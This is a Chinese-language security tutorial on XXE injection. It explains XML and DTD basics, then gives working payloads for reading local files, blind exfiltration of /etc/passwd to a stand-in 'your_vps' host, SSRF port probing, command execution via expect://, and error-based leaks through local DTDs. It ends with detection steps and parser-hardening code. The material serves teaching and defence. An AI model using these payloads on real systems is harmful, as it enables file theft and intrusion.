0x01 基础知识


一、XML

XML教程

1、什么是 XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)

  • XML 是一种标记语言,很类似 HTML

  • XML 的设计宗旨是传输数据,而非显示数据

  • XML 标签没有被预定义。您需要自行定义标签

  • XML 被设计为具有自我描述性。

  • XML 是 W3C 的推荐标准

2、XML 与 HTML 的主要差异

  • XML 不是 HTML 的替代。

  • XML 和 HTML 为不同的目的而设计:

  • XML 被设计为传输和存储数据,其焦点是数据的内容。

  • HTML 被设计用来显示数据,其焦点是数据的外观。

  • HTML 旨在显示信息,而 XML 旨在传输信息。

3、XML语法规则

  • 所有 XML 元素都须有关闭标签

  • XML 标签对大小写敏感

  • XML 必须正确地嵌套

  • XML 文档必须有根元素

  • XML 的属性值须加引号

  • XML 中的注释与HTML类似

  • 在 XML 中,空格会被保留

  • XML 以 LF 存储换行

4、XML示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>

XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端,上述实例可以用下图表示:
在这里插入图片描述

5、XML实体引用

在 XML 中,一些字符拥有特殊的意义。如果把字符 < 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

这样会产生 XML 错误:

1
<message>if salary < 1000 then</message>

为了避免这个错误,用实体引用来代替 < 字符:

1
<message>if salary < 1000 then</message>

在 XML 中,有 5 个预定义的实体引用:
在这里插入图片描述

二、DTD

DTD教程

1、什么是DTD?

  • DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

  • 通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

  • DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

2、内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

1
<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>//定义 note 元素有四个元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)>定义 to 元素为 "#PCDATA" 类型
<!ELEMENT from (#PCDATA)>定义 from 元素为 "#PCDATA" 类型
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Georage</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

3、外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

4、DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体:

  • 一般实体指代的是将来XML数据文档要用到的文本或数据。

  • 而参数实体是在DTD文档内定义的一种DTD信息,所代表的是DTD定义的一部分,不能在XML文档中使用,也不能在DTD中定义。

(1)一般实体的声明语法:

1
<!ENTITY 实体名 "实体内容">

引用实体的方式:&实体名;

a. 内部一般实体声明:

语法:

1
<!ENTITY entity-name "entity-value">

实例:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
]>
<author>&writer;&copyright;</author>

b. 外部一般实体声明

语法:

1
<!ENTITY entity-name SYSTEM "URI/URL">

实例:

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
]>
<author>&writer;&copyright;</author>

(2)参数实体的声明格式:

1
<!ENTITY % 实体名 "实体内容">

引用实体的方式:%实体名;

a. 内部参数实体

参数实体不能被应用在元素的声明当中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。

test.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person SYSTEM "test323.dtd">
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test.dtd

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY %name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

b. 外部参数实体

能将原来很长的DTD文档转变成一个很小的、相互调用的文档集合,适合大型DTD文档的设计开发。

test.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd">
%content;
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18701772821</tel>
<br/>
<email>18701772821@163.com</email>
</person>

test.dtd

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>


0x02 漏洞原因

解析xml文件时允许加载外部实体,没有过滤用户提交的参数。

造成的危害有:

  • 读取任意文件

  • 执行系统命令

  • 探查内网端口

  • 攻击内网网站


0x03 漏洞利用


关于XXE更多利用方式可参考: https://xz.aliyun.com/t/3357

一、读取本地文件(有回显)

(1)利用xml外部实体

如index.php内容如下:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

利用payload为:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///E:/test.txt">
]>
<root><note>&file;</note></root>

将上面的payload进行url编码后既可以读到本地文件。

(2)xml引用外部实体(引用DTD文件)

还是上面的例子,payload如下:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY % a SYSTEM "http://your_vps/test.dtd"> %a;]>
<note>&file;</note>

在你的服务器上创建dtd文件如下:

1
<!ENTITY file SYSTEM "file:///E:/test.txt">

(3)base64读取php/html等文件

如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

payload如下:

1
2
3
<?xml version="1.0" encodeing="UTF-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>


二、Blind XXE(无回显)

对于无回显的xml注入,则使用如下Blind XXE方法,即使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

可以在你的vps上放xxe.dtd文件如下(send前面的是%的实体编码&#37;):

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://your_vps:1234?file=%file;'>">

使用的payload如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://your_vps/xxe.dtd">
%remote;
%all;
%send;
]>

然后监听1234端口并提交payload:
在这里插入图片描述


三、SSRF/内网探测

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

(1)探测内网端口

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>
<name>&xxe;</name>
</root>

(2)攻击内网网站

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >
]>
<root>
<name>&xxe;</name>
</root>


四、命令执行

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>


五、利用本地dtd文件报错回显

当你有一个支持外部实体的XXE,但服务器的响应始终为空,这样情况就需要Blind XXE,但是如果你和目标服务器之间有防火墙,一般的利用vps外带数据的方法就不能用了。

首先要知道,外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中是被禁止的。

所以要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地dtd文件,并在其中重新定义一些参数实体引用:

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd 中的内容

1
2
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

Linux

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;


0x04 判断XXE漏洞


一、XML是否被解析

尝试提交测试payload:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>   
<!DOCTYPE ANY [
<!ENTITY xxe 'hava a xxe'>
]>
<root>&xxe;</root>

&xxe;是否会变成hava a xxe

二、是否支持外部实体

测试payload:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [
<!ENTITY % xxe SYSTEM “http://your_vps/test.xml”>
%xxe;
]>

通过查看自己服务器上的日志来,如果目标服务器是否向你的服务器发了一条请求test.xml的HTTP请求,则说明目标服务器支持外部实体。

三、是否能够回显

如果上面两步都支持,就看是否回显。

  • 如果能回显就直接引用外部实体注入。

  • 有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。


0x05 防御XXE


一、禁用外部实体

(1)PHP

1
libxml_disable_entity_loader(true);

(2)Python

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(3)Java

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);


二、过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。




参考链接:
https://www.smi1e.top/dsada/#XML

https://skysec.top/2017/08/18/xml%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0/